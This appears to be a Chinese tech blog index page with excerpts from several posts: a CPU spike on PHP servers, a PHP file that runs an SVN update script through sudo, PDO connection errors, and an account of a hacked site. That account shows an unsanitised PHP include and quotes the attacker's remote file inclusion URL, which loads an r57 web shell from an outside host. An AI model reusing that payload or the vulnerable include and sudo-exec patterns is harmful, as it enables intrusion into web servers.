最近上线的一个项目,开始几天运行良好,负载很底,访问速度也很正常。

29号晚上发现在监控内web服务器有点不正常,cpu和负载会突然增高,然后过十来分钟就会恢复正常。ssh连上去看,有几个php-cgi进程cpu的使用是100%。当时怀疑可能是有个别程序没写好,就通知开发这边去查了。从下图可以看到:

/wp-content/uploads/baiduhi/baa6598271234fc50df4d2ea.jpg /wp-content/uploads/baiduhi/79941d957fee9d6f7af480eb.jpg

阅读全文

php调用shell脚本的svnup.php文件内容:

<?php
set_time_limit(0);
//$output = array();
$ret = 0;
exec("/usr/bin/sudo /data0/shell/svnvp.sh", $output, $ret);
echo "Result:{$ret}";
print_r($output);
?>

/data0/shell/svnvp.sh是更新的脚本,主要内容是svn up。

阅读全文

大部分时候都能连上,但每天会有一些连接不上的情况,会报下面的错误:

PHP Fatal error: Uncaught exception ‘PDOException’ with message ‘SQLSTATE[] (null) (severity 0)’

或:

PHP Fatal error: Uncaught exception ‘PDOException’ with message ‘SQLSTATE[01002] Adaptive Server connection failed (severity 9)

PHP 5.2.9 及 PHP 5.2.11都有这个问题,Bug目前还没有解决。

阅读全文

网站是四年前刚学PHP的时候帮朋友弄的,有些参数没有处理好,造成让人挂马。

php内有一段是这样的,目的是动态加载一个静态页

$type.=".htm";  
include ($type);

$type是通过url传过来的值,如:
showhtml.php?type=index

因为虚拟主机的是激活的,所以黑客用了这个地址:
/showhtml.php?type=http://evilc0der.com/r57.txt??

阅读全文

作者的图片

阿辉

容器技术及容器集群等分布式系统研究

容器平台负责人

上海